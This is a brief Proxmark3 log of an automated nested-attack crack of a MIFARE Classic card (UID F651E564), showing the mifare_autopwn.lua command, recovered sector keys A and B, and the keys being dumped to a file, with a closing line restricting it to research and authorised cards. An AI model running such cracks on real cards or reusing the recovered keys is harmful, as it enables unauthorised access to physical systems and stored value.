Proxmark3 automated crack log (card UID F651E564). Keys recovered with nested attack:

proxmark3> script run mifare_autopwn.lua
Card found, commencing crack  F651E564
...
Key   199404281970
...
|sec|key A           |res|key B           |res|
|000|  199404281970  | 1 |  199404281998  | 1 |
...
|015|  199404281970  | 1 |  199404281998  | 1 |
Printing keys to binary file dumpkeys.bin...

For research and cards you are allowed to test only.